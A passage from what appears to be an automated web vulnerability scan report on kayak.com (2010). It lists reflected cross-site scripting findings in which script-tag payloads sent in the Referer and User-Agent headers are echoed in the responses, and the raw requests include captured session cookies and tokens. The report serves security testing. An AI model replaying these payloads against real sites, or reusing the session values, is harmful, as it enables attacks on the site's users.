PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<b>"645fd<script>alert(1)</script>757d1d1a68c"</b>
...[SNIP]...

2.37. http://www.kayak.com/h/ads/results [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /h/ads/results

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 371e5<script>alert(1)</script>a9b88f1ad7e was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /h/ads/results HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)371e5<script>alert(1)</script>a9b88f1ad7e
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:43:47 GMT
Content-Length: 10609
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
sion: R90 20101110.171952
Date: 20101113.154346
Client: 174.121.222.18
Server: sparkle056 (p4.som)
URL: http://www.kayak.com/h/ads/results
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)371e5<script>alert(1)</script>a9b88f1ad7e
<hr>
...[SNIP]...

2.38. http://www.kayak.com/h/elanding [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /h/elanding

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 3eee3<script>alert(1)</script>0125bda1088 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /h/elanding HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Referer: http://www.google.com/search?hl=en&q=3eee3<script>alert(1)</script>0125bda1088

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:45:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Expires: 0
Content-Length: 47512


<html>
<head>
<!-- link href="/aff/kosmix/widget/style.css" rel="stylesheet" type="text/css" / -->

<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"
...[SNIP]...
<b>3eee3<script>alert(1)</script>0125bda1088</b>
...[SNIP]...

2.39. http://www.kayak.com/hotels [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload e1962<script>alert(1)</script>0f174ff3e845dbbd4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /hotels?basicmode=false&citycode=&othercity=bos&checkin_date=&checkout_date=&rooms=1&guests1=1&guests2=1&comparetosite=HOTWIRE_HFDCMP2&comparetosite=EXPEDIA_HFDCMP2&c2s=EASYCLICKTRAVELUS_HFDCMP2%7C5100032%7C0%7C0%7C0%7C0%3BHOTELSDC_HFDCMP2%7C3037410%7C0%7C0%7C0%7C0%3BHOTWIRE_HFDCMP2%7C1031501%7C1%7C0%7C0%7C1%3BPRICLINE_HFDCMP2%7C1031498%7C0%7C0%7C0%7C0%3BEXPEDIA_HFDCMP2%7C1031482%7C1%7C0%7C0%7C1%3BAiraUS_HFDCMP2%7C7196451%7C0%7C0%7C0%7C0%3BVEGASVIEWUS_HFDCMP2%7C7194743%7C0%7C0%7C0%7C0%3BbookitssUS_HFDCMP2%7C5092097%7C0%7C0%7C0%7C0%3BTVLOCITY_HFDCMP2%7C1031495%7C0%7C0%7C0%7C0%3B&student=0&tab=hotels&r9secret=&r9debug=&action=dohotels&location=&geocoded=&hid=&baseAddress=&baseName=&baseZoom=&guests=&datelimit=&po=&lmid=&searchType=C&address=&address_nickname=&postalcode=&lat=&long=&minstars=-1&provider=-1&maxprice=&recent=N&src=&Search.x=74&Search.y=22 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.google.com/search?hl=en&q=e1962<script>alert(1)</script>0f174ff3e845dbbd4
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:22:39 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=10-U98w1BqC_YAQnmI7RqLs; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=pYdha8GddP00RFr94Bn4gg; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:22:38 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:22:38 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 201719

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
<b>"e1962<script>alert(1)</script>0f174ff3e845dbbd4"</b>
...[SNIP]...

2.40. http://www.kayak.com/hotels [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 527e7<script>alert(1)</script>2438d529b79 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /hotels HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Referer: http://www.google.com/search?hl=en&q=527e7<script>alert(1)</script>2438d529b79

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:45:56 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.st=hotels; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 20:45:56 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 51070

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<b>"527e7<script>alert(1)</script>2438d529b79"</b>
...[SNIP]...

2.41. http://www.kayak.com/in [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /in

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload bd1c2<script>alert(1)</script>eb9321de404 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /in?a=hfdccmp&url=%2Fcars%3Ftab%3Dcars%26pickup_date%3D11%252F17%252F2010%26location%3DBoston%252C%2BMA%252C%2BUS%26oneway%3Dn%26dropoff_date%3D11%252F18%252F2010%26pickup_hour%3D9%26dropoff_hour%3D9%26action%3Ddocars HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=bd1c2<script>alert(1)</script>eb9321de404
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sc=1; p1.med.searched=true; dc=dc2; cluster=4

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:21:14 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p2.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=17-qfUKYL7eNUSenQZ6Lv7L; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=90xGQVKYQfByjITOeyK5EQ; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:21:14 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:21:14 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 240655

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
<b>"bd1c2<script>alert(1)</script>eb9321de404"</b>
...[SNIP]...

2.42. http://www.kayak.com/r/SetUhw [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /r/SetUhw

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 9c59b<script>alert(1)</script>d3ad939d323 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /r/SetUhw HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.google.com/search?hl=en&q=9c59b<script>alert(1)</script>d3ad939d323
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.kayak.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: Apache=rnneEg-AAABLEb2jh4-47-BvnWTg; kayak=9CGZXjYMJHM8W3n0VHoU; dc=dc1; cluster=2; p1.med.sid=23-4hVfWQaEe628XxCIqIh9; p1.med.token=Wv4rMn8mv7jKk_lWeFJp5g; p1.med.sc=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:21:41 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=15-3JJxeo0QjyIQ5$tAwSmw; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=6MzeTSJA5vsyP61a7ITT4w; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:21:40 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:21:40 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 201780

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
<b>"9c59b<script>alert(1)</script>d3ad939d323"</b>
...[SNIP]...

2.43. http://www.kayak.com/r/UO3ZOs [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /r/UO3ZOs

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload bccbd<script>alert(1)</script>9e31d4d397f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /r/UO3ZOs HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=bccbd<script>alert(1)</script>9e31d4d397f
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); dc=dc2; cluster=4; p1.med.sc=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:20:09 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p2.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=27-3EBBiCAPKwgzyOomTOl0; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=sgKpwkdkTCR1qKNEu75nBQ; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:20:08 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:20:08 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 250754

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
<b>"bccbd<script>alert(1)</script>9e31d4d397f"</b>
...[SNIP]...

2.44. http://www.kayak.com/r/caKg5L [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /r/caKg5L

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 66000<script>alert(1)</script>946418ca534 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /r/caKg5L HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=66000<script>alert(1)</script>946418ca534
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.searched=true; dc=dc2; cluster=4; p1.med.sc=2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:19:57 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p2.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=15-RCDyOA94YynhgtNwi$O0; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=TwPEZ_D4YgxswVWhsYymjg; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:19:56 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:19:56 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 241662

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Rese
...[SNIP]...
<b>"66000<script>alert(1)</script>946418ca534"</b>
...[SNIP]...

2.45. http://www.kayak.com/s/search/car [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /s/search/car

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 18813<script>alert(1)</script>9f506760271 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /s/search/car HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
Referer: http://www.google.com/search?hl=en&q=18813<script>alert(1)</script>9f506760271

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:46:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 48131

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<b>"18813<script>alert(1)</script>9f506760271"</b>
...[SNIP]...

2.46. http://www.kayak.com/s/sparkle [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.kayak.com
Path:   /s/sparkle

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48e8e"><a>4d530056aab was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /s/sparkle?action=getdccontent&url=http%3A%2F%2Fvulnerable.ad.partner%2Fadj%2Fside.us.ky.web.hotel%2Fresults%3Bco%3DUS%3Bst%3DMA%3Bci%3DBOSTON%3Bcid%3DBoston%3Bsd%3D17%3Bsm%3D11%3Bsy%3D2010%3Bed%3D18%3Bem%3D11%3Bey%3D2010%3BisTest%3DN%3Bsearchid%3DUO3ZOs%3Bsz%3D300x250%3Btile%3D9%3Bsource%3Ddirect%3Bu%3Dsid%253D3-dfohFUBsA8NPyE92DBsn%2526tc%253DrnneEg-AAABLEb26gQ-44-BKv3ag%2526octid%253D%2526dctid%253D25588%3Bord%3D1289680801805%3F HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=48e8e"><a>4d530056aab
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sc=1; p1.med.searched=true; dc=dc2; cluster=4

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:17:56 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
